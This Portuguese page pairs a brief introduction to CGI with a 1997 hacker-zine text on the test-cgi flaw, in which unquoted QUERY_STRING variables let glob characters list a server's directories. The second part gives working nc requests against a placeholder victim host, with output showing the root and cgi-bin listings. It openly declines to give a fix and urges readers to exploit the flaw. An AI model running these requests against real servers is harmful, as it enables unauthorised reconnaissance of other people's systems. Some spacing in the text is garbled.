# Usando CGI

---

CGI, ou *Common Gateway Interface*, é uma interface definida de maneira a possibilitar a execução de programas ("gateways") sob um servidor de informações. Até o momento, CGI suporta apenas servidores HTTP.

Neste contexto, os "gateways" são programas ou scripts (também chamados "cgi-bin") que recebem requisições de informação, retornando um documento com os resultados correspondentes. Esse documento pode existir previamente, ou pode ser gerado pelo script especialmente para atender à requisição (usa-se muito a expressão *"on the fly"*).

Exemplos de aplicação de CGI incluem:

- processamento de dados submetidos através de formulários - consulta a banco de dados, cadastramento em listas, livros de visita, pesquisas de opinião;
- criaç ;ão de documentos personalizados *on the fly*;
- gerenciamento de contadore s de acesso;
- processamento de mapas.

Tais scripts pode m ser escritos em qualquer linguagem que possa ler va riáveis, processar dados e retornar respostas - ou seja, qualquer linguagem de programação. Os programadores de scripts costumam utilizar determinadas linguagens, de acordo com a plataforma do servidor:

C, Perl, ou shell de UNIX, em redes de ambiente UNIX;
C, Perl, ou VB Script, em ambiente Windows.

A interface CGI é o mecanismo-padrão, que possibilita a comunicação entre esses scripts (gateways) e o servidor HTTP.

O texto acima foi retirado da HTML'S PAGE and HOT PAGE http://html.br-hs.com
E foi escrito por Francisco Eduardo

---

---

# Vulnerabilidade do Test-cgi

```
---------------------

|  Programa efetado: |

---------------------


Test-cgi's scripts encontrado em varios web servers.
```

```
------------------
| Consequencias: |
------------------
```

Qualquer um pode olhar os arquivos da maquina

```
--------------
| How about: |
--------------
```

Em muitos web sites existem arquivos chamados de test-cgi quase sempre no diretorio cgi-bin ou algum lugar similar ). Existe um problema com muitos destes arquivos test Se seu arquivo test-cgi contem a chamada linha ( verbatim ) entao voce provavelmete esta vulneravel ao bug.

```
echo QUERY_STRING = $QUERY_STRING
```

Todas essas linhas possivelmente tem as variaveis abertas ou perdidas sem aspas ("). Sem essas aspas alguns caracteres especiais ( especificadamente o '*') sao expandido onde eles nao poderiam. Enviando entao um query de '*' vai voltar as informacoes do diretorio corrente ( provavelmente onde todos os arquivos do vgi estao... lah no jj e no phf. Bom, o que sao esses outro cgi's que eu nunca vi...? e que furo que tem nele? Mandando um query do '/*' vai listar o diretorio do root! ;)

Isso e' o mesmo que faz o `echo *` quando vc dah o ls

Este e' o meio mais facil de lista diretorio e ate dar um cat neles via a string do

query. Quase sempre e' possivel de fazer a mesma coisa atraves de muitas outras variaveis ( ie $REMOTE_HOST, $REMOTE_USER, etc.) e' claro que em certas situacoes.

---

**| Como arrumar: |**

---

Pq arrumar? ;) deixa assim cumpadi!

---

**| Vamos x-ploitar... |**

---

Bom vamos fazer um teste... mas pra isso temos que sempre procurar o telnet na porta 80 do provedor que sera a vitima.

---

```
machine% echo "GET /cgi-bin/test-cgi?/*" | nc vitima.lamah.com 80

CGI/1.0 test script report:

argc is 1. argv is /\*.

SERVER_SOFTWARE = NCSA/1.4.1
SERVER_NAME = vitima.lamah.com
GATEWAY_INTERFACE = CGI/1.1
SERVER_PROTOCOL = HTTP/0.9
SERVER_PORT = 80
REQUEST_METHOD = GET
HTTP_ACCEPT =
PATH_INFO =
```

```
PATH_TRANSLATED =
SCRIPT_NAME = /bin/cgi-bin/test-cgi
QUERY_STRING = /a /bin /boot /bsd /cdrom /dev /etc /home /lib /mnt
/root /sbin /stand /sys /tmp /usr /usr2 /var
REMOTE_HOST = remote.machine.com
REMOTE_ADDR = 255.255.255.255
REMOTE_USER =
AUTH_TYPE =
CONTENT_TYPE =
CONTENT_LENGTH =
```

```
----------------------------------------
| Ou pra ver o que outros cgi's per ai...|
----------------------------------------
```

```
machine% echo "GET /cgi-bin/test-cgi?*" | nc vitima.lamah.com 80

CGI/1.0 test script report:

argc is 1. argv is \*.

SERVER_SOFTWARE = NCSA/1.4.1
SERVER_NAME = removed.name.com
GATEWAY_INTERFACE = CGI/1.1
SERVER_PROTOCOL = HTTP/0.9
SERVER_PORT = 80
REQUEST_METHOD = GET
HTTP_ACCEPT =
PATH_INFO =
PATH_TRANSLATED =
```

SCRIPT_NAME = /bin/cgi-bin/test-cgi

QUERY_STRING = calendar cgi-archie cgi-calendar cgi-date cgi-finger

cgi-fortune cgi-lib.pl imagemap imagemap.cgi imagemap.conf index.html

mail-query mail-query-2 majordomo majordomo.cf marker.cgi

menu message.cgi munger.cgi munger.note ncsa-default.tar post-query

query smartlist.cf src subscribe.cf test-cgi uptime

REMOTE_HOST = remote.machine.com

REMOTE_ADDR = 255.255.255.255

REMOTE_USER =

AUTH_TYPE =

CONTENT_TYPE =

CONTENT_LENGTH =

Nao sei se expliquei bem.. em todo caso pesquisem o caso!

AciDmuD - 1997(c) Global Domination Inc.

- acidmud@thepentagon.com -

---

vbrandao@tba.com.br

Email: vbrandao@tba.com.br